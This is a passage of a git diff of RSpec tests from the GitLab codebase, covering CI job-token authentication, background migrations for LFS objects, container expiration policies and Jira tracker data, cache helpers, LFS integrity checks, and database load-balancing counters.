+ let(:sample_spec) { fixture_file(File.join(sample_metric_dir, 'sample_metric_test.rb')) }
+
+ it 'creates CE metric instrumentation files using the template' do
+ described_class.new(args, options).invoke_all
+
+ expect_generated_file(ce_temp_dir, 'count_foo_metric.rb', sample_metric)
+ expect_generated_file(spec_ce_temp_dir, 'count_foo_metric_spec.rb', sample_spec)
+ end
+
+ context 'with EE flag true' do
+ let(:options) { { 'type' => 'redis_hll', 'ee' => true } }
+
+ it 'creates EE metric instrumentation files using the template' do
+ described_class.new(args, options).invoke_all
+
+ expect_generated_file(ee_temp_dir, 'count_foo_metric.rb', sample_metric)
+ expect_generated_file(spec_ee_temp_dir, 'count_foo_metric_spec.rb', sample_spec)
+ end
+ end
+
+ context 'with type option missing' do
+ let(:options) { {} }
+
+ it 'raises an ArgumentError' do
+ expect { described_class.new(args, options).invoke_all }.to raise_error(ArgumentError, /Type is required/)
+ end
+ end
+
+ context 'with type option value not included in approved superclasses' do
+ let(:options) { { 'type' => 'some_other_type' } }
+
+ it 'raises an ArgumentError' do
+ expect { described_class.new(args, options).invoke_all }.to raise_error(ArgumentError, /Unknown type 'some_other_type'/)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/application_context_spec.rb b/spec/lib/gitlab/application_context_spec.rb
index c4fe2ebaba9..ecd68caba79 100644
--- a/spec/lib/gitlab/application_context_spec.rb
+++ b/spec/lib/gitlab/application_context_spec.rb
@@ -68,6 +68,24 @@ RSpec.describe Gitlab::ApplicationContext do
end
end
+ describe '.current_context_attribute' do
+ it 'returns the raw attribute value' do
+ described_class.with_context(caller_id: "Hello") do
+ expect(described_class.current_context_attribute(:caller_id)).to be('Hello')
+ end
+ end
+
+ it 'returns the attribute value with meta prefix' do
+ described_class.with_context(feature_category: "secure") do
+ expect(described_class.current_context_attribute('meta.feature_category')).to be('secure')
+ end
+ end
+
+ it 'returns nil if the key was not present in the current context' do
+ expect(described_class.current_context_attribute(:caller_id)).to be(nil)
+ end
+ end
+
describe '#to_lazy_hash' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
diff --git a/spec/lib/gitlab/auth/auth_finders_spec.rb b/spec/lib/gitlab/auth/auth_finders_spec.rb
index cddcaf09b74..7475ed2796f 100644
--- a/spec/lib/gitlab/auth/auth_finders_spec.rb
+++ b/spec/lib/gitlab/auth/auth_finders_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe Gitlab::Auth::AuthFinders do
end
shared_examples 'find user from job token' do |without_job_token_allowed|
- context 'when route is allowed to be authenticated' do
+ context 'when route is allowed to be authenticated', :request_store do
let(:route_authentication_setting) { { job_token_allowed: true } }
context 'for an invalid token' do
@@ -68,6 +68,8 @@ RSpec.describe Gitlab::Auth::AuthFinders do
it 'return user' do
expect(subject).to eq(user)
expect(@current_authenticated_job).to eq job
+ expect(subject).to be_from_ci_job_token
+ expect(subject.ci_job_token_scope.source_project).to eq(job.project)
end
end
@@ -81,7 +83,7 @@ RSpec.describe Gitlab::Auth::AuthFinders do
end
end
- context 'when route is not allowed to be authenticated' do
+ context 'when route is not allowed to be authenticated', :request_store do
let(:route_authentication_setting) { { job_token_allowed: false } }
context 'with a running job' do
@@ -96,6 +98,8 @@ RSpec.describe Gitlab::Auth::AuthFinders do
it 'returns the user' do
expect(subject).to eq(user)
expect(@current_authenticated_job).to eq job
+ expect(subject).to be_from_ci_job_token
+ expect(subject.ci_job_token_scope.source_project).to eq(job.project)
end
else
it 'returns nil' do
diff --git a/spec/lib/gitlab/auth_spec.rb b/spec/lib/gitlab/auth_spec.rb
index 7f06e66ad50..d529d4a96e1 100644
--- a/spec/lib/gitlab/auth_spec.rb
+++ b/spec/lib/gitlab/auth_spec.rb
@@ -196,8 +196,8 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
end
it 'recognizes other ci services' do
- project.create_drone_ci_service(active: true)
- project.drone_ci_service.update(token: 'token')
+ project.create_drone_ci_integration(active: true)
+ project.drone_ci_integration.update(token: 'token')
expect(gl_auth.find_for_git_client('drone-ci-token', 'token', project: project, ip: 'ip')).to eq(Gitlab::Auth::Result.new(nil, project, :ci, described_class.build_authentication_abilities))
end
@@ -683,6 +683,28 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
end
end
+ describe '#build_access_token_check' do
+ subject { gl_auth.find_for_git_client('gitlab-ci-token', build.token, project: build.project, ip: '1.2.3.4') }
+
+ let_it_be(:user) { create(:user) }
+
+ context 'for running build' do
+ let!(:build) { create(:ci_build, :running, user: user) }
+
+ it 'executes query using primary database' do
+ expect(Ci::Build).to receive(:find_by_token).with(build.token).and_wrap_original do |m, *args|
+ expect(::Gitlab::Database::LoadBalancing::Session.current.use_primary?).to eq(true)
+ m.call(*args)
+ end
+
+ expect(subject).to be_a(Gitlab::Auth::Result)
+ expect(subject.actor).to eq(user)
+ expect(subject.project).to eq(build.project)
+ expect(subject.type).to eq(:build)
+ end
+ end
+ end
+
describe 'find_with_user_password' do
let!(:user) do
create(:user,
diff --git a/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb b/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb
new file mode 100644
index 00000000000..8a3671b2e53
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::CleanupOrphanedLfsObjectsProjects, schema: 20210514063252 do
+ let(:lfs_objects_projects) { table(:lfs_objects_projects) }
+ let(:lfs_objects) { table(:lfs_objects) }
+ let(:projects) { table(:projects) }
+ let(:namespaces) { table(:namespaces) }
+
+ let(:namespace) { namespaces.create!(name: 'namespace', path: 'namespace') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_project) { projects.create!(namespace_id: namespace.id) }
+ let(:lfs_object) { lfs_objects.create!(oid: 'abcdef', size: 1) }
+ let(:another_lfs_object) { lfs_objects.create!(oid: '1abcde', size: 2) }
+
+ let!(:without_object1) { create_object(project_id: project.id) }
+ let!(:without_object2) { create_object(project_id: another_project.id) }
+ let!(:without_object3) { create_object(project_id: another_project.id) }
+ let!(:with_project_and_object1) { create_object(project_id: project.id, lfs_object_id: lfs_object.id) }
+ let!(:with_project_and_object2) { create_object(project_id: project.id, lfs_object_id: another_lfs_object.id) }
+ let!(:with_project_and_object3) { create_object(project_id: another_project.id, lfs_object_id: another_lfs_object.id) }
+ let!(:without_project1) { create_object(lfs_object_id: lfs_object.id) }
+ let!(:without_project2) { create_object(lfs_object_id: another_lfs_object.id) }
+ let!(:without_project_and_object) { create_object }
+
+ def create_object(project_id: non_existing_record_id, lfs_object_id: non_existing_record_id)
+ lfs_objects_project = nil
+
+ ActiveRecord::Base.connection.disable_referential_integrity do
+ lfs_objects_project = lfs_objects_projects.create!(project_id: project_id, lfs_object_id: lfs_object_id)
+ end
+
+ lfs_objects_project
+ end
+
+ subject { described_class.new }
+
+ describe '#perform' do
+ it 'lfs_objects_projects without an existing lfs object or project are removed' do
+ subject.perform(without_object1.id, without_object3.id)
+
+ expect(lfs_objects_projects.all).to match_array([
+ with_project_and_object1, with_project_and_object2, with_project_and_object3,
+ without_project1, without_project2, without_project_and_object
+ ])
+
+ subject.perform(with_project_and_object1.id, with_project_and_object3.id)
+
+ expect(lfs_objects_projects.all).to match_array([
+ with_project_and_object1, with_project_and_object2, with_project_and_object3,
+ without_project1, without_project2, without_project_and_object
+ ])
+
+ subject.perform(without_project1.id, without_project_and_object.id)
+
+ expect(lfs_objects_projects.all).to match_array([
+ with_project_and_object1, with_project_and_object2, with_project_and_object3
+ ])
+
+ expect(lfs_objects.ids).to contain_exactly(lfs_object.id, another_lfs_object.id)
+ expect(projects.ids).to contain_exactly(project.id, another_project.id)
+ end
+
+ it 'cache for affected projects is being reset' do
+ expect(ProjectCacheWorker).to receive(:bulk_perform_in) do |delay, args|
+ expect(delay).to eq(1.minute)
+ expect(args).to match_array([[project.id, [], [:lfs_objects_size]], [another_project.id, [], [:lfs_objects_size]]])
+ end
+
+ subject.perform(without_object1.id, with_project_and_object1.id)
+
+ expect(ProjectCacheWorker).not_to receive(:bulk_perform_in)
+
+ subject.perform(with_project_and_object1.id, with_project_and_object3.id)
+
+ expect(ProjectCacheWorker).not_to receive(:bulk_perform_in)
+
+ subject.perform(without_project1.id, without_project_and_object.id)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images_spec.rb b/spec/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images_spec.rb
new file mode 100644
index 00000000000..04eb9ad475f
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images_spec.rb
@@ -0,0 +1,142 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::DisableExpirationPoliciesLinkedToNoContainerImages do
+ let_it_be(:projects) { table(:projects) }
+ let_it_be(:container_expiration_policies) { table(:container_expiration_policies) }
+ let_it_be(:container_repositories) { table(:container_repositories) }
+ let_it_be(:namespaces) { table(:namespaces) }
+
+ let!(:namespace) { namespaces.create!(name: 'test', path: 'test') }
+
+ let!(:policy1) { create_expiration_policy(project_id: 1, enabled: true) }
+ let!(:policy2) { create_expiration_policy(project_id: 2, enabled: false) }
+ let!(:policy3) { create_expiration_policy(project_id: 3, enabled: false) }
+ let!(:policy4) { create_expiration_policy(project_id: 4, enabled: true, with_images: true) }
+ let!(:policy5) { create_expiration_policy(project_id: 5, enabled: false, with_images: true) }
+ let!(:policy6) { create_expiration_policy(project_id: 6, enabled: false) }
+ let!(:policy7) { create_expiration_policy(project_id: 7, enabled: true) }
+ let!(:policy8) { create_expiration_policy(project_id: 8, enabled: true, with_images: true) }
+ let!(:policy9) { create_expiration_policy(project_id: 9, enabled: true) }
+
+ describe '#perform' do
+ subject { described_class.new.perform(from_id, to_id) }
+
+ shared_examples 'disabling policies with no images' do
+ it 'disables the proper policies' do
+ subject
+
+ rows = container_expiration_policies.order(:project_id).to_h do |row|
+ [row.project_id, row.enabled]
+ end
+ expect(rows).to eq(expected_rows)
+ end
+ end
+
+ context 'the whole range' do
+ let(:from_id) { 1 }
+ let(:to_id) { 9 }
+
+ it_behaves_like 'disabling policies with no images' do
+ let(:expected_rows) do
+ {
+ 1 => false,
+ 2 => false,
+ 3 => false,
+ 4 => true,
+ 5 => false,
+ 6 => false,
+ 7 => false,
+ 8 => true,
+ 9 => false
+ }
+ end
+ end
+ end
+
+ context 'a range with no policies to disable' do
+ let(:from_id) { 2 }
+ let(:to_id) { 6 }
+
+ it_behaves_like 'disabling policies with no images' do
+ let(:expected_rows) do
+ {
+ 1 => true,
+ 2 => false,
+ 3 => false,
+ 4 => true,
+ 5 => false,
+ 6 => false,
+ 7 => true,
+ 8 => true,
+ 9 => true
+ }
+ end
+ end
+ end
+
+ context 'a range with only images' do
+ let(:from_id) { 4 }
+ let(:to_id) { 5 }
+
+ it_behaves_like 'disabling policies with no images' do
+ let(:expected_rows) do
+ {
+ 1 => true,
+ 2 => false,
+ 3 => false,
+ 4 => true,
+ 5 => false,
+ 6 => false,
+ 7 => true,
+ 8 => true,
+ 9 => true
+ }
+ end
+ end
+ end
+
+ context 'a range with a single element' do
+ let(:from_id) { 9 }
+ let(:to_id) { 9 }
+
+ it_behaves_like 'disabling policies with no images' do
+ let(:expected_rows) do
+ {
+ 1 => true,
+ 2 => false,
+ 3 => false,
+ 4 => true,
+ 5 => false,
+ 6 => false,
+ 7 => true,
+ 8 => true,
+ 9 => false
+ }
+ end
+ end
+ end
+ end
+
+ def create_expiration_policy(project_id:, enabled:, with_images: false)
+ projects.create!(id: project_id, namespace_id: namespace.id, name: "gitlab-#{project_id}")
+
+ if with_images
+ container_repositories.create!(project_id: project_id, name: "image-#{project_id}")
+ end
+
+ container_expiration_policies.create!(
+ enabled: enabled,
+ project_id: project_id
+ )
+ end
+
+ def enabled_policies
+ container_expiration_policies.where(enabled: true)
+ end
+
+ def disabled_policies
+ container_expiration_policies.where(enabled: false)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
index 8668216d014..80879c8c6d9 100644
--- a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
@@ -291,7 +291,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
services.create!(id: 20, type: 'JiraService', properties: jira_properties.to_json, category: 'issue_tracker')
end
- let!(:bugzilla_service_valid) do
+ let!(:bugzilla_integration_valid) do
services.create!(id: 11, type: 'BugzillaService', title: nil, properties: tracker_properties.to_json, category: 'issue_tracker')
end
@@ -314,14 +314,14 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
expect(jira_service_valid.title).to eq(title)
expect(jira_service_valid.description).to eq(description)
- bugzilla_service_valid.reload
- data = IssueTrackerData.find_by(service_id: bugzilla_service_valid.id)
+ bugzilla_integration_valid.reload
+ data = IssueTrackerData.find_by(service_id: bugzilla_integration_valid.id)
expect(data.project_url).to eq(url)
expect(data.issues_url).to eq(issues_url)
expect(data.new_issue_url).to eq(new_issue_url)
- expect(bugzilla_service_valid.title).to eq(title)
- expect(bugzilla_service_valid.description).to eq(description)
+ expect(bugzilla_integration_valid.title).to eq(title)
+ expect(bugzilla_integration_valid.description).to eq(description)
end
end
end
diff --git a/spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb b/spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb
index 990ef4fbe6a..70906961641 100644
--- a/spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb
+++ b/spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb
@@ -73,6 +73,14 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateVulnerabilitiesOccurrence
expect(vulnerabilities_findings.pluck(:uuid)).to eq([desired_uuid_v5])
end
+
+ it 'logs recalculation' do
+ expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
+ expect(instance).to receive(:info).once
+ end
+
+ subject
+ end
end
context "when finding has a UUIDv5" do
@@ -99,6 +107,32 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateVulnerabilitiesOccurrence
end
end
+ context 'when recalculation fails' do
+ before do
+ @uuid_v4 = create_finding!(
+ vulnerability_id: vulnerability_for_uuidv4.id,
+ project_id: project.id,
+ scanner_id: different_scanner.id,
+ primary_identifier_id: different_vulnerability_identifier.id,
+ report_type: 0, # "sast"
+ location_fingerprint: "fa18f432f1d56675f4098d318739c3cd5b14eb3e",
+ uuid: known_uuid_v4
+ )
+
+ allow(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception)
+ allow(::Gitlab::Database::BulkUpdate).to receive(:execute).and_raise(expected_error)
+ end
+
+ let(:finding) { @uuid_v4 }
+ let(:expected_error) { RuntimeError.new }
+
+ it 'captures the errors and does not crash entirely' do
+ expect { subject }.not_to raise_error
+
+ expect(Gitlab::ErrorTracking).to have_received(:track_and_raise_for_dev_exception).with(expected_error).once
+ end
+ end
+
private
def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
diff --git a/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb b/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb
new file mode 100644
index 00000000000..f7466a2ddfd
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::UpdateJiraTrackerDataDeploymentTypeBasedOnUrl do
+ let(:services_table) { table(:services) }
+ let(:service_jira_cloud) { services_table.create!(id: 1, type: 'JiraService') }
+ let(:service_jira_server) { services_table.create!(id: 2, type: 'JiraService') }
+
+ before do
+ jira_tracker_data = Class.new(ApplicationRecord) do
+ self.table_name = 'jira_tracker_data'
+
+ def self.encryption_options
+ {
+ key: Settings.attr_encrypted_db_key_base_32,
+ encode: true,
+ mode: :per_attribute_iv,
+ algorithm: 'aes-256-gcm'
+ }
+ end
+
+ attr_encrypted :url, encryption_options
+ attr_encrypted :api_url, encryption_options
+ attr_encrypted :username, encryption_options
+ attr_encrypted :password, encryption_options
+ end
+
+ stub_const('JiraTrackerData', jira_tracker_data)
+ end
+
+ let!(:tracker_data_cloud) { JiraTrackerData.create!(id: 1, service_id: service_jira_cloud.id, url: "https://test-domain.atlassian.net", deployment_type: 0) }
+ let!(:tracker_data_server) { JiraTrackerData.create!(id: 2, service_id: service_jira_server.id, url: "http://totally-not-jira-server.company.org", deployment_type: 0) }
+
+ subject { described_class.new.perform(tracker_data_cloud.id, tracker_data_server.id) }
+
+ it "changes unknown deployment_types based on URL" do
+ expect(JiraTrackerData.pluck(:deployment_type)).to eq([0, 0])
+
+ subject
+
+ expect(JiraTrackerData.pluck(:deployment_type)).to eq([2, 1])
+ end
+end
diff --git a/spec/lib/gitlab/cache/import/caching_spec.rb b/spec/lib/gitlab/cache/import/caching_spec.rb
index d6911dad9d4..8ce12f5d32e 100644
--- a/spec/lib/gitlab/cache/import/caching_spec.rb
+++ b/spec/lib/gitlab/cache/import/caching_spec.rb
@@ -88,6 +88,18 @@ RSpec.describe Gitlab::Cache::Import::Caching, :clean_gitlab_redis_cache do
end
end
+ describe '.values_from_set' do
+ it 'returns empty list when the set is empty' do
+ expect(described_class.values_from_set('foo')).to eq([])
+ end
+
+ it 'returns the set list of values' do
+ described_class.set_add('foo', 10)
+
+ expect(described_class.values_from_set('foo')).to eq(['10'])
+ end
+ end
+
describe '.write_multiple' do
it 'sets multiple keys when key_prefix not set' do
mapping = { 'foo' => 10, 'bar' => 20 }
diff --git a/spec/lib/gitlab/cache_spec.rb b/spec/lib/gitlab/cache_spec.rb
index 5b1034a77a3..67c70a77880 100644
--- a/spec/lib/gitlab/cache_spec.rb
+++ b/spec/lib/gitlab/cache_spec.rb
@@ -26,4 +26,16 @@ RSpec.describe Gitlab::Cache, :request_store do
expect(subject.call).to eq("return value")
end
end
+
+ describe '.delete' do
+ let(:key) { %w{a cache key} }
+
+ subject(:delete) { described_class.delete(key) }
+
+ it 'calls Rails.cache.delete' do
+ expect(Rails.cache).to receive(:delete).with(key)
+
+ delete
+ end
+ end
end
diff --git a/spec/lib/gitlab/checks/change_access_spec.rb b/spec/lib/gitlab/checks/change_access_spec.rb
deleted file mode 100644
index 6f82dabb285..00000000000
--- a/spec/lib/gitlab/checks/change_access_spec.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Checks::ChangeAccess do
- describe '#validate!' do
- include_context 'change access checks context'
-
- subject { change_access }
-
- context 'without failed checks' do
- it "doesn't raise an error" do
- expect { subject.validate! }.not_to raise_error
- end
-
- it 'calls pushes checks' do
- expect_next_instance_of(Gitlab::Checks::PushCheck) do |instance|
- expect(instance).to receive(:validate!)
- end
-
- subject.validate!
- end
-
- it 'calls branches checks' do
- expect_next_instance_of(Gitlab::Checks::BranchCheck) do |instance|
- expect(instance).to receive(:validate!)
- end
-
- subject.validate!
- end
-
- it 'calls tags checks' do
- expect_next_instance_of(Gitlab::Checks::TagCheck) do |instance|
- expect(instance).to receive(:validate!)
- end
-
- subject.validate!
- end
-
- it 'calls lfs checks' do
- expect_next_instance_of(Gitlab::Checks::LfsCheck) do |instance|
- expect(instance).to receive(:validate!)
- end
-
- subject.validate!
- end
-
- it 'calls diff checks' do
- expect_next_instance_of(Gitlab::Checks::DiffCheck) do |instance|
- expect(instance).to receive(:validate!)
- end
-
- subject.validate!
- end
- end
-
- context 'when time limit was reached' do
- it 'raises a TimeoutError' do
- logger = Gitlab::Checks::TimedLogger.new(start_time: timeout.ago, timeout: timeout)
- access = described_class.new(changes,
- project: project,
- user_access: user_access,
- protocol: protocol,
- logger: logger)
-
- expect { access.validate! }.to raise_error(Gitlab::Checks::TimedLogger::TimeoutError)
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/checks/changes_access_spec.rb b/spec/lib/gitlab/checks/changes_access_spec.rb
new file mode 100644
index 00000000000..a46732f8255
--- /dev/null
+++ b/spec/lib/gitlab/checks/changes_access_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Checks::ChangesAccess do
+ describe '#validate!' do
+ include_context 'changes access checks context'
+
+ before do
+ allow(project).to receive(:lfs_enabled?).and_return(true)
+ end
+
+ subject { changes_access }
+
+ context 'without failed checks' do
+ it "doesn't raise an error" do
+ expect { subject.validate! }.not_to raise_error
+ end
+
+ it 'calls lfs checks' do
+ expect_next_instance_of(Gitlab::Checks::LfsCheck) do |instance|
+ expect(instance).to receive(:validate!)
+ end
+
+ subject.validate!
+ end
+ end
+
+ context 'when time limit was reached' do
+ it 'raises a TimeoutError' do
+ logger = Gitlab::Checks::TimedLogger.new(start_time: timeout.ago, timeout: timeout)
+ access = described_class.new(changes,
+ project: project,
+ user_access: user_access,
+ protocol: protocol,
+ logger: logger)
+
+ expect { access.validate! }.to raise_error(Gitlab::Checks::TimedLogger::TimeoutError)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/checks/lfs_check_spec.rb b/spec/lib/gitlab/checks/lfs_check_spec.rb
index 19c1d820dff..331a43b814f 100644
--- a/spec/lib/gitlab/checks/lfs_check_spec.rb
+++ b/spec/lib/gitlab/checks/lfs_check_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Checks::LfsCheck do
- include_context 'change access checks context'
+ include_context 'changes access checks context'
let(:blob_object) { project.repository.blob_at_branch('lfs', 'files/lfs/lfs_object.iso') }
@@ -15,6 +15,10 @@ RSpec.describe Gitlab::Checks::LfsCheck do
describe '#validate!' do
context 'with LFS not enabled' do
+ before do
+ allow(project).to receive(:lfs_enabled?).and_return(false)
+ end
+
it 'skips integrity check' do
expect_any_instance_of(Gitlab::Git::LfsChanges).not_to receive(:new_pointers)
@@ -51,13 +55,13 @@ RSpec.describe Gitlab::Checks::LfsCheck do
context 'with missing newrev' do
it_behaves_like 'a skipped integrity check' do
- let(:changes) { { oldrev: oldrev, ref: ref } }
+ let(:changes) { [{ oldrev: oldrev, ref: ref }] }
end
end
context 'with blank newrev' do
it_behaves_like 'a skipped integrity check' do
- let(:changes) { { oldrev: oldrev, newrev: Gitlab::Git::BLANK_SHA, ref: ref } }
+ let(:changes) { [{ oldrev: oldrev, newrev: Gitlab::Git::BLANK_SHA, ref: ref }] }
end
end
end
diff --git a/spec/lib/gitlab/checks/lfs_integrity_spec.rb b/spec/lib/gitlab/checks/lfs_integrity_spec.rb
index 4583cd72cfd..3468094ffa5 100644
--- a/spec/lib/gitlab/checks/lfs_integrity_spec.rb
+++ b/spec/lib/gitlab/checks/lfs_integrity_spec.rb
@@ -18,12 +18,18 @@ RSpec.describe Gitlab::Checks::LfsIntegrity do
operations.commit_tree('8856a329dd38ca86dfb9ce5aa58a16d88cc119bd', "New LFS objects")
end
- subject { described_class.new(project, newrev, time_left) }
+ let(:newrevs) { [newrev] }
+
+ subject { described_class.new(project, newrevs, time_left) }
describe '#objects_missing?' do
let(:blob_object) { repository.blob_at_branch('lfs', 'files/lfs/lfs_object.iso') }
context 'with LFS not enabled' do
+ before do
+ allow(project).to receive(:lfs_enabled?).and_return(false)
+ end
+
it 'skips integrity check' do
expect_any_instance_of(Gitlab::Git::LfsChanges).not_to receive(:new_pointers)
@@ -36,8 +42,28 @@ RSpec.describe Gitlab::Checks::LfsIntegrity do
allow(project).to receive(:lfs_enabled?).and_return(true)
end
+ context 'nil rev' do
+ let(:newrevs) { [nil] }
+
+ it 'skips integrity check' do
+ expect_any_instance_of(Gitlab::Git::LfsChanges).not_to receive(:new_pointers)
+
+ expect(subject.objects_missing?).to be_falsey
+ end
+ end
+
context 'deletion' do
- let(:newrev) { nil }
+ let(:newrevs) { [Gitlab::Git::BLANK_SHA] }
+
+ it 'skips integrity check' do
+ expect_any_instance_of(Gitlab::Git::LfsChanges).not_to receive(:new_pointers)
+
+ expect(subject.objects_missing?).to be_falsey
+ end
+ end
+
+ context 'no changes' do
+ let(:newrevs) { [] }
it 'skips integrity check' do
expect_any_instance_of(Gitlab::Git::LfsChanges).not_to receive(:new_pointers)
diff --git a/spec/lib/gitlab/checks/matching_merge_request_spec.rb b/spec/lib/gitlab/checks/matching_merge_request_spec.rb
index ca7ee784ee3..feda488a936 100644
--- a/spec/lib/gitlab/checks/matching_merge_request_spec.rb
+++ b/spec/lib/gitlab/checks/matching_merge_request_spec.rb
@@ -18,6 +18,9 @@ RSpec.describe Gitlab::Checks::MatchingMergeRequest do
subject { described_class.new(newrev, target_branch, project) }
+ let(:total_counter) { subject.send(:total_counter) }
+ let(:stale_counter) { subject.send(:stale_counter) }
+
it 'matches a merge request' do
expect(subject.match?).to be true
end
@@ -27,5 +30,70 @@ RSpec.describe Gitlab::Checks::MatchingMergeRequest do
expect(matcher.match?).to be false
end
+
+ context 'with load balancing disabled', :request_store, :redis do
+ before do
+ expect(::Gitlab::Database::LoadBalancing).to receive(:enable?).at_least(:once).and_return(false)
+ expect(::Gitlab::Database::LoadBalancing::Sticking).not_to receive(:unstick_or_continue_sticking)
+ expect(::Gitlab::Database::LoadBalancing::Sticking).not_to receive(:select_valid_replicas)
+ end
+
+ it 'does not attempt to stick to primary' do
+ expect(subject.match?).to be true
+ end
+
+ it 'increments no counters' do
+ expect { subject.match? }
+ .to change { total_counter.get }.by(0)
+ .and change { stale_counter.get }.by(0)
+ end
+ end
+
+ context 'with load balancing enabled', :request_store, :redis do
+ let(:session) { ::Gitlab::Database::LoadBalancing::Session.current }
+ let(:all_caught_up) { true }
+
+ before do
+ expect(::Gitlab::Database::LoadBalancing).to receive(:enable?).at_least(:once).and_return(true)
+ allow(::Gitlab::Database::LoadBalancing::Sticking).to receive(:all_caught_up?).and_return(all_caught_up)
+
+ expect(::Gitlab::Database::LoadBalancing::Sticking).to receive(:select_valid_host).with(:project, project.id).and_call_original
+ allow(::Gitlab::Database::LoadBalancing::Sticking).to receive(:select_caught_up_replicas).with(:project, project.id).and_return(all_caught_up)
+ end
+
+ shared_examples 'secondary that has caught up to a primary' do
+ it 'continues to use the secondary' do
+ expect(session.use_primary?).to be false
+ expect(subject.match?).to be true
+ end
+
+ it 'only increments total counter' do
+ expect { subject.match? }
+ .to change { total_counter.get }.by(1)
+ .and change { stale_counter.get }.by(0)
+ end
+ end
+
+ shared_examples 'secondary that is lagging primary' do
+ it 'sticks to the primary' do
+ expect(subject.match?).to be true
+ expect(session.use_primary?).to be true
+ end
+
+ it 'increments both total and stale counters' do
+ expect { subject.match? }
+ .to change { total_counter.get }.by(1)
+ .and change { stale_counter.get }.by(1)
+ end
+ end
+
+ it_behaves_like 'secondary that has caught up to a primary'
+
+ context 'on secondary behind primary' do
+ let(:all_caught_up) { false }
+
+ it_behaves_like 'secondary that is lagging primary'
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/checks/single_change_access_spec.rb b/spec/lib/gitlab/checks/single_change_access_spec.rb
new file mode 100644
index 00000000000..8b235005b3e
--- /dev/null
+++ b/spec/lib/gitlab/checks/single_change_access_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Checks::SingleChangeAccess do
+ describe '#validate!' do
+ include_context 'change access checks context'
+
+ subject { change_access }
+
+ context 'without failed checks' do
+ it "doesn't raise an error" do
+ expect { subject.validate! }.not_to raise_error
+ end
+
+ it 'calls pushes checks' do
+ expect_next_instance_of(Gitlab::Checks::PushCheck) do |instance|
+ expect(instance).to receive(:validate!)
+ end
+
+ subject.validate!
+ end
+
+ it 'calls branches checks' do
+ expect_next_instance_of(Gitlab::Checks::BranchCheck) do |instance|
+ expect(instance).to receive(:validate!)
+ end
+
+ subject.validate!
+ end
+
+ it 'calls tags checks' do
+ expect_next_instance_of(Gitlab::Checks::TagCheck) do |instance|
+ expect(instance).to receive(:validate!)
+ end
+
+ subject.validate!
+ end
+
+ it 'calls diff checks' do
+ expect_next_instance_of(Gitlab::Checks::DiffCheck) do |instance|
+ expect(instance).to receive(:validate!)
+ end
+
+ subject.validate!
+ end
+ end
+
+ context 'when time limit was reached' do
+ it 'raises a TimeoutError' do
+ logger = Gitlab::Checks::TimedLogger.new(start_time: timeout.ago, timeout: timeout)
+ access = described_class.new(changes,
+ project: project,
+ user_access: user_access,
+ protocol: protocol,
+ logger: logger)
+
+ expect { access.validate! }.to raise_error(Gitlab::Checks::TimedLogger::TimeoutError)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/ansi2json/line_spec.rb b/spec/lib/gitlab/ci/ansi2json/line_spec.rb
index d681447a0e8..909c0f1b3ea 100644
--- a/spec/lib/gitlab/ci/ansi2json/line_spec.rb
+++ b/spec/lib/gitlab/ci/ansi2json/line_spec.rb
@@ -76,10 +76,30 @@ RSpec.describe Gitlab::Ci::Ansi2json::Line do
end
describe '#set_section_duration' do
- it 'sets and formats the section_duration' do
- subject.set_section_duration(75)
+ shared_examples 'set_section_duration' do
+ it 'sets and formats the section_duration' do
